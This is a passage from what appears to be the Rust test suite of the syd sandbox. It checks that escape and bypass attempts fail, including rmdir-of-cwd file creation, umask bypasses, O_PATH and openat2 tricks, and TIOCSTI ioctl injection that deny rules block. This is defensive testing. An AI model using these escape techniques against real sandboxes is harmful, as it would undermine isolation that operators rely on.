.expect("execute syd");
assert_status_ok!(status);
if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
} else if XPath::from_bytes(b"./foo/escape").exists(false) {
Err(TestError("Sandbox create by rmdir CWD!".to_string()))
} else {
Ok(())
}
}
fn test_syd_rmdir_escape_unix() -> TestResult {
if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 1: {errno}"
)));
} else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 2: {errno}"
)));
}
let status = syd()
.p("off")
.m("sandbox/net,write,create:on")
.m("allow/write,create,delete,truncate+/***")
.m("deny/write,create,delete,truncate+/**/* (deleted)/***")
.m("allow/net/bind+/***")
.m("deny/net/bind+/**/* (deleted)/***")
.do_("rmdir_cwd_and_create_unix", ["foo"])
.status()
.expect("execute syd");
assert_status_ok!(status);
if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
} else if XPath::from_bytes(b"./foo/escape").exists(false) {
Err(TestError("Sandbox create by rmdir CWD!".to_string()))
} else {
Ok(())
}
}
fn test_syd_umask_bypass_077() -> TestResult {
// Set a liberal umask as the test expects.
let prev_umask = umask(Mode::from_bits_truncate(0o022));
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("umask_bypass_077", NONE)
.status()
.expect("execute syd");
let _ = umask(prev_umask);
assert_status_ok!(status);
Ok(())
}
fn test_syd_umask_bypass_277() -> TestResult {
// Set a liberal umask as the test expects.
let prev_umask = umask(Mode::from_bits_truncate(0o022));
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("umask_bypass_277", NONE)
.status()
.expect("execute syd");
let _ = umask(prev_umask);
assert_status_ok!(status);
Ok(())
}
fn test_syd_emulate_opath() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read:on")
.m("allow/read+/***")
.do_("emulate_opath", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_emulate_otmpfile() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/mktemp:on")
.m("allow/mktemp+/***")
.do_("emulate_otmpfile", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_honor_umask_000() -> TestResult {
let prev_umask = umask(Mode::from_bits_truncate(0));
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("honor_umask", ["0666"])
.status()
.expect("execute syd");
let _ = umask(prev_umask);
assert_status_ok!(status);
Ok(())
}
fn test_syd_honor_umask_022() -> TestResult {
let prev_umask = umask(Mode::from_bits_truncate(0o022));
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("honor_umask", ["0644"])
.status()
.expect("execute syd");
let _ = umask(prev_umask);
assert_status_ok!(status);
Ok(())
}
fn test_syd_honor_umask_077() -> TestResult {
let prev_umask = umask(Mode::from_bits_truncate(0o077));
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("honor_umask", ["0600"])
.status()
.expect("execute syd");
let _ = umask(prev_umask);
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_umask_bypass_with_open() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("force_umask_bypass_with_open", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
let status = syd()
.p("off")
.m("trace/force_umask:7177")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("force_umask_bypass_with_open", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_umask_bypass_with_mknod() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/create:on")
.m("allow/create+/***")
.do_("force_umask_bypass_with_mknod", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
let status = syd()
.p("off")
.m("trace/force_umask:7177")
.m("sandbox/create:on")
.m("allow/create+/***")
.do_("force_umask_bypass_with_mknod", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_umask_bypass_with_mkdir() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/mkdir:on")
.m("allow/mkdir+/***")
.do_("force_umask_bypass_with_mkdir", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
let status = syd()
.p("off")
.m("trace/force_umask:7177")
.m("sandbox/mkdir:on")
.m("allow/mkdir+/***")
.do_("force_umask_bypass_with_mkdir", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
Ok(())
}
fn test_syd_force_umask_bypass_with_fchmod() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chmod:on")
.m("allow/chmod+/***")
.do_("force_umask_bypass_with_fchmod", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
let status = syd()
.p("off")
.m("trace/force_umask:7177")
.m("sandbox/chmod:on")
.m("allow/chmod+/***")
.do_("force_umask_bypass_with_fchmod", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_cloexec() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > tmp.c <<EOF
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static void toggle(int v)
{
char path[64];
struct stat st;
snprintf(path, sizeof(path),
"/dev/syd/trace/force_cloexec:%d", v);
if (stat(path, &st) < 0) {
fprintf(stderr, "[*] ERROR: stat %s failed: %s\n",
path, strerror(errno));
exit(1);
}
fprintf(stderr, "[*] Toggled force_cloexec -> %d\n", v);
}
static void check_fd(int fd, const char *name, int expect)
{
int flags = fcntl(fd, F_GETFD);
if (flags < 0) {
fprintf(stderr, "[*] ERROR: fcntl F_GETFD on %s failed: %s\n",
name, strerror(errno));
exit(1);
}
int has = (flags & FD_CLOEXEC) != 0;
if (has != expect) {
fprintf(stderr, "[*] FAIL: %s fd=%d expected CLOEXEC=%d but got %d\n",
name, fd, expect, has);
exit(1);
}
fprintf(stderr, "[*] OK: %s fd=%d CLOEXEC=%d\n",
name, fd, has);
}
int main(void)
{
int fd;
int sock;
// Phase 1: force_cloexec = ON
toggle(1);
fd = open("t1.tmp", O_RDWR | O_CREAT, 0600);
if (fd < 0) {
perror("open");
exit(1);
}
check_fd(fd, "file1", 1);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("socket");
exit(1);
}
check_fd(sock, "sock1", 1);
// Phase 2: force_cloexec = OFF
toggle(0);
fd = open("t2.tmp", O_RDWR | O_CREAT, 0600);
if (fd < 0) {
perror("open");
exit(1);
}
check_fd(fd, "file2", 0);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("socket");
exit(1);
}
check_fd(sock, "sock2", 0);
fprintf(stderr, "[*] PASS: all checks OK\n");
return 0;
}
EOF
cc -Wall -Wextra tmp.c -o tmp || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile test, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
let status = syd()
.p("off")
.m("lock:exec")
.arg("./tmp")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_rand_fd() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > tmp.c <<EOF
#define _GNU_SOURCE
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/memfd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static void lock(void)
{
struct stat st;
if (stat("/dev/syd/lock:on", &st) < 0) {
fprintf(stderr, "[*] ERROR: stat /dev/syd/lock:on failed: %s\n",
strerror(errno));
exit(1);
}
fprintf(stderr, "[*] Sandbox locked\n");
}
static void toggle(int v)
{
char path[64];
struct stat st;
snprintf(path, sizeof(path),
"/dev/syd/trace/force_rand_fd:%d", v);
if (stat(path, &st) < 0) {
fprintf(stderr, "[*] ERROR: stat %s failed: %s\n",
path, strerror(errno));
exit(1);
}
fprintf(stderr, "[*] Toggled force_rand_fd -> %d\n", v);
}
static void fail(const char *msg)
{
fprintf(stderr, "%s\n", msg);
exit(1);
}
// Wrapper for memfd_create syscall
static int my_memfd_create(const char *name, unsigned int flags)
{
return syscall(SYS_memfd_create, name, flags);
}
int main(void)
{
int fd_on, sock_on, mem_on;
int fd_off, sock_off, mem_off;
// Phase 1: test RANDOMIZED when ON
toggle(1);
fd_on = open("rnd1.tmp", O_RDWR | O_CREAT, 0600);
if (fd_on < 0) {
perror("open");
exit(1);
}
fprintf(stderr, "[*] ON open() -> fd=%d\n", fd_on);
if (fd_on == 3)
fail("[*] FAIL ON: open returned lowest fd=3 under randomization");
sock_on = socket(AF_INET, SOCK_STREAM, 0);
if (sock_on < 0) {
perror("socket");
exit(1);
}
fprintf(stderr, "[*] ON socket() -> fd=%d\n", sock_on);
if (sock_on == 3)
fail("[*] FAIL ON: socket returned lowest fd=3 under randomization");
mem_on = my_memfd_create("rnd.mem", MFD_CLOEXEC);
if (mem_on < 0) {
perror("memfd_create");
exit(1);
}
fprintf(stderr, "[*] ON memfd_create() -> fd=%d\n", mem_on);
if (mem_on == 3)
fail("[*] FAIL ON: memfd_create returned lowest fd=3 under randomization");
close(fd_on);
close(sock_on);
close(mem_on);
// Phase 2: test LOWEST-NUMBERED when OFF
toggle(0);
// Lock the sandbox to check seccomp mitigations as well.
lock();
fd_off = open("low1.tmp", O_RDWR | O_CREAT, 0600);
if (fd_off < 0) {
perror("open");
exit(1);
}
fprintf(stderr, "[*] OFF open() -> fd=%d\n", fd_off);
if (fd_off != 3)
fail("[*] FAIL OFF: open did not return lowest fd=3 when randomization off");
sock_off = socket(AF_INET, SOCK_STREAM, 0);
if (sock_off < 0) {
perror("socket");
exit(1);
}
fprintf(stderr, "[*] OFF socket() -> fd=%d\n", sock_off);
if (sock_off != 4)
fail("[*] FAIL OFF: socket did not return lowest fd=4 when randomization off");
mem_off = my_memfd_create("low.mem", MFD_CLOEXEC);
if (mem_off < 0) {
perror("memfd_create");
exit(1);
}
fprintf(stderr, "[*] OFF memfd_create() -> fd=%d\n", mem_off);
if (mem_off != 5)
fail("[*] FAIL OFF: memfd_create did not return lowest fd=5 when randomization off");
close(fd_off);
close(sock_off);
close(mem_off);
fprintf(stderr, "[*] PASS: force_rand_fd behavior OK\n");
return 0;
}
EOF
cc -Wall -Wextra tmp.c -o tmp || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile test, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
let status = syd()
.p("off")
.m("lock:exec")
.arg("./tmp")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_ro_open() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cx"])
.arg(
r#"
echo test > tmp || exit 1
echo test >> tmp || exit 2
test -c /dev/syd/trace/force_ro_open:1 || exit 3
echo test > tmp && exit 4
echo test >> tmp && exit 5
test -c /dev/syd/trace/force_ro_open:0 || exit 6
echo test > tmp || exit 7
echo test >> tmp || exit 8
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_suid() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cx"])
.arg(
r#"
:>file || exit 1
chmod 4755 file || exit 2
cat file 2>/dev/null && exit 3 || true
test -c /dev/syd/trace/allow_unsafe_open_suid:1 || exit 4
cat file || exit 5
test -c /dev/syd/trace/allow_unsafe_open_suid:0 || exit 6
:>file2 || exit 7
chmod 4755 file2 || exit 8
cat file2 > /dev/null 2>&1 && exit 9 || true
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_force_no_xdev() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("lock:exec")
.current_dir("/")
.argv(["sh", "-cx"])
.arg(
r#"
cat /dev/null || exit 1
ls /proc/self/status || exit 2
test -c /dev/syd/trace/force_no_xdev:1 || exit 3
cat /dev/null && exit 4
ls /proc/self/status && exit 5
test -c /dev/syd/trace/force_no_xdev:0 || exit 6
cat /dev/null || exit 7
ls /proc/self/status || exit 8
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_utf8_invalid_default() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.do_("open_utf8_invalid", NONE)
.status()
.expect("execute syd");
assert_status_illegal_sequence!(status);
Ok(())
}
fn test_syd_open_utf8_invalid_unsafe() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("allow/write,create+/***")
.m("trace/allow_unsafe_filename:1")
.do_("open_utf8_invalid", NONE)
.status()
.expect("execute syd");
// ZFS may return EILSEQ on non UTF-8 paths.
assert_status_code_matches!(status, 0 | EILSEQ);
Ok(())
}
fn test_syd_exec_in_inaccessible_directory() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("sandbox/exec,write,create:on")
.m("allow/exec,write,create+/***")
.do_("exec_in_inaccessible_directory", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fstat_on_pipe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fstat_on_pipe", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fstat_on_socket() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fstat_on_socket", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fstat_on_deleted_file() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fstat_on_deleted_file", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fstat_on_tmpfile() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fstat_on_tmpfile", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fchmodat_on_proc_fd() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,chmod:on")
.m("allow/read,stat,write,create,chmod+/***")
.do_("fchmodat_on_proc_fd", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fchmodat2_empty_path() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,chmod:on")
.m("allow/read,stat,write,create,chmod+/***")
.do_("fchmodat2_empty_path", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_linkat_on_fd() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("linkat_on_fd", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_block_ioctl_tiocsti_default() -> TestResult {
// Ioctl sandboxing is on and the denylist is processed.
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("block_ioctl_tiocsti", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_block_ioctl_tiocsti_dynamic() -> TestResult {
// Turn Ioctl sandboxing on and check.
let status = syd()
.p("off")
.m("sandbox/ioctl,read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("block_ioctl_tiocsti", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_block_ioctl_tiocsti_sremadd() -> TestResult {
// Ioctl sandboxing is off, however the denylist is processed anyway.
// We explicitly remove TIOCSTI from denylist and check.
let status = syd()
.p("off")
.m("deny/ioctl-TIOCSTI")
.m("allow/ioctl+TIOCSTI")
.m("deny/ioctl+TIOCSTI")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("block_ioctl_tiocsti", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_block_ioctl_tiocsti_sremove() -> TestResult {
skip_unless_stdout_is_a_tty!();
// We explicitly allow TIOCSTI and check.
let status = syd()
.p("off")
.m("deny/ioctl-TIOCSTI")
.m("allow/ioctl+TIOCSTI")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("block_ioctl_tiocsti", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
Ok(())
}
fn test_syd_block_ioctl_tiocsti_dremove() -> TestResult {
skip_unless_available!("sh");
// Ioctl sandboxing is off by default.
// We check default deny, then allow dynamically.
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.m("deny/ioctl-TIOCSTI")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write+/***")
.do__("block_ioctl_tiocsti")
.arg("sh")
.arg("-cex")
.arg(format!(
"
# Expect TIOCSTI is not denied.
r=0
{syd_do} || r=$?
test $r -ne 25 # ENOTTY
true"
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_block_ioctl_tiocsti_upper() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("block_ioctl_tiocsti_upper", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ioctl_allow_upper() -> TestResult {
// Whitelist mode: sandbox/ioctl:on, allow FIONBIO.
// Call ioctl(2) with upper bits set in cmd via raw syscall.
let status = syd()
.p("off")
.m("sandbox/ioctl:on")
.m("allow/ioctl+FIONBIO")
.do_("ioctl_device_upper", ["/dev/random"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ioctl_dynamic_allow_deny_precedence() -> TestResult {
// Whitelist mode.
// Test that 'deny' overrides 'allow' if added subsequently (Last Match Wins).
let status = syd()
.p("off")
.m("sandbox/ioctl:on")
.m("allow/ioctl+FIONBIO")
.m("deny/ioctl+FIONBIO")
.do_("ioctl_device", ["/dev/random"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// Test reverse: Deny then Allow -> Allow wins.
let status = syd()
.p("off")
.m("sandbox/ioctl:on")
.m("deny/ioctl+FIONBIO")
.m("allow/ioctl+FIONBIO")
.do_("ioctl_device", ["/dev/random"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ioctl_remove_deny_blacklist() -> TestResult {
// Blacklist mode: Default allow, but block denylist.
// TIOCSTI is in default denylist.
skip_unless_available!("sh");
skip_unless_stdout_is_a_tty!();
let status = syd()
.p("off")
.m("deny/ioctl-TIOCSTI")
.m("lock:exec")
.do_("block_ioctl_tiocsti", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
Ok(())
}
fn test_syd_prevent_ptrace_detect_1() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.do_("ptraceme", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_prevent_ptrace_detect_2() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.do_("multiple_ptraceme", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_prevent_ptrace_detect_3() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.do_("multiple_threads_ptraceme", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_prevent_ptrace_detect_4() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.do_("pr_set_ptracer", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_kill_during_syscall() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("kill_during_syscall", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_toolong_path() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("open_toolong_path", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_null_path() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("open_null_path", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_directory_creat() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/lock:off")
.m("sandbox/create:on")
.m("allow/create+/***")
.m("deny/create+/**/test")
.do_("open_directory_creat", ["./test"])
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_openat2_path_linux() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// setup_openat2_test creates a user namespace.
// we must execute this test in isolation.
if env::var_os("SYD_TEST_REEXEC").is_none() {
let status = Command::new("/proc/self/exe")
.env("SYD_TEST_REEXEC", "YesPlease")
.arg("openat2_path_linux")
.status()
.expect("execute syd-test");
assert_status_ok!(status);
return Ok(());
}
// Returns an !O_CLOEXEC fd.
let fd = setup_openat2_test().expect("setup test");
let fd = format!("{}", fd.as_raw_fd());
// Ensure tests pass outside Syd.
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "openat2_opath")
.arg(&fd)
.arg("UNSAFE")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_openat2_path_unsafe() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// setup_openat2_test creates a user namespace.
// we must execute this test in isolation.
if env::var("SYD_TEST_REEXEC").is_err() {
let status = Command::new("/proc/self/exe")
.env("SYD_TEST_REEXEC", "YesPlease")
.arg("openat2_path_unsafe")
.status()
.expect("execute syd-test");
assert_status_ok!(status);
return Ok(());
}
// Returns an !O_CLOEXEC fd.
let fd = setup_openat2_test().expect("setup test");
let fd = format!("{}", fd.as_raw_fd());
// Ensure tests pass inside Syd with
// trace/allow_unsafe_open_path:1 and trace/allow_unsafe_magiclinks:1
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/allow_unsafe_create:1")
.m("trace/allow_unsafe_open_path:1")
.m("trace/allow_unsafe_magiclinks:1")
.m("allow/read,stat,write,create+/***")
.do_("openat2_opath", [&fd, "UNSAFE"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_openat2_path_sydbox() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
// setup_openat2_test creates a user namespace.
// we must execute this test in isolation.
if env::var("SYD_TEST_REEXEC").is_err() {
let status = Command::new("/proc/self/exe")
.env("SYD_TEST_REEXEC", "YesPlease")
.arg("openat2_path_sydbox")
.status()
.expect("execute syd-test");
assert_status_ok!(status);
return Ok(());
}
// Returns an !O_CLOEXEC fd.
let fd = setup_openat2_test().expect("setup test");
let fd = format!("{}", fd.as_raw_fd());
// Ensure tests pass inside Syd with secure defaults.
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("openat2_opath", [&fd, "SAFE"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_utimensat_null() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("utimensat_null", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_utimensat_symlink() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("utimensat_symlink", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_utimes_mtime() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("utimes_mtime", NONE)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("[*] utimes(2) system call not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_normalize_path() -> TestResult {
skip_unless_available!("sh");
const NORMALIZE_PATH_TESTS: &[&str] = &[
"null",
"./null",
".////null",
".///.////.///./null",
"./././././././null",
"./././.././././dev/null",
"../dev/././../dev/././null",
];
for path in NORMALIZE_PATH_TESTS {
let status = syd()
.p("off")
.m("sandbox/write,create:on")
.m("deny/write,create+/***")
.m("allow/write,create+/dev/null")
.argv(["sh", "-cx", &format!("cd /dev; :> {path}")])
.status()
.expect("execute syd");
assert_eq!(
status.code().unwrap_or(127),
0,
"path:{path}, status:{status:?}"
);
}
Ok(())
}
fn test_syd_path_resolution() -> TestResult {
let cwd = readlink("/proc/self/cwd").map(XPathBuf::from).expect("cwd");
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat+/***")
.m(format!("allow/write,create+{cwd}/***"))
.do_("path_resolution", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_symlink_readonly_path() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("deny/write+/")
.argv([
"sh",
"-c",
"ln -s / test_syd_symlink_readonly_path && unlink test_syd_symlink_readonly_path",
])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_remove_empty_path() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.argv([
"sh",
"-c",
"env LC_ALL=C LANG=C LANGUAGE=C rm '' 2>&1 | tee /dev/stderr | grep -qi 'No such file or directory'"
])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_trailing_slash() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("open_trailing_slash", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_openat_trailing_slash() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("openat_trailing_slash", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_lstat_trailing_slash() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("lstat_trailing_slash", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fstatat_trailing_slash() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("fstatat_trailing_slash", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mkdir_symlinks() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("mkdir_symlinks", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mkdir_trailing_dot() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("mkdir_trailing_dot", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mkdirat_trailing_dot() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("mkdirat_trailing_dot", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mkdir_symlink_trailing_dot() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/mkdir:on")
.m("allow/mkdir+/***")
.do_("mkdir_symlink_trailing_dot", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_rmdir_trailing_slashdot() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("rmdir_trailing_slashdot", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_rmdir_trailing_slash_with_symlink() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("rmdir_trailing_slash_with_symlink", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_rename_trailing_slash() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/rename:on")
.m("allow/rename+/***")
.do_("rename", ["missing", "missing/"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
fn test_syd_rename_overwrite_deny_delete() -> TestResult {
let mut target = File::create("target").unwrap();
target.write_all(b"PROTECTED").unwrap();
drop(target);
let mut dummy = File::create("dummy").unwrap();
dummy.write_all(b"ATTACKER").unwrap();
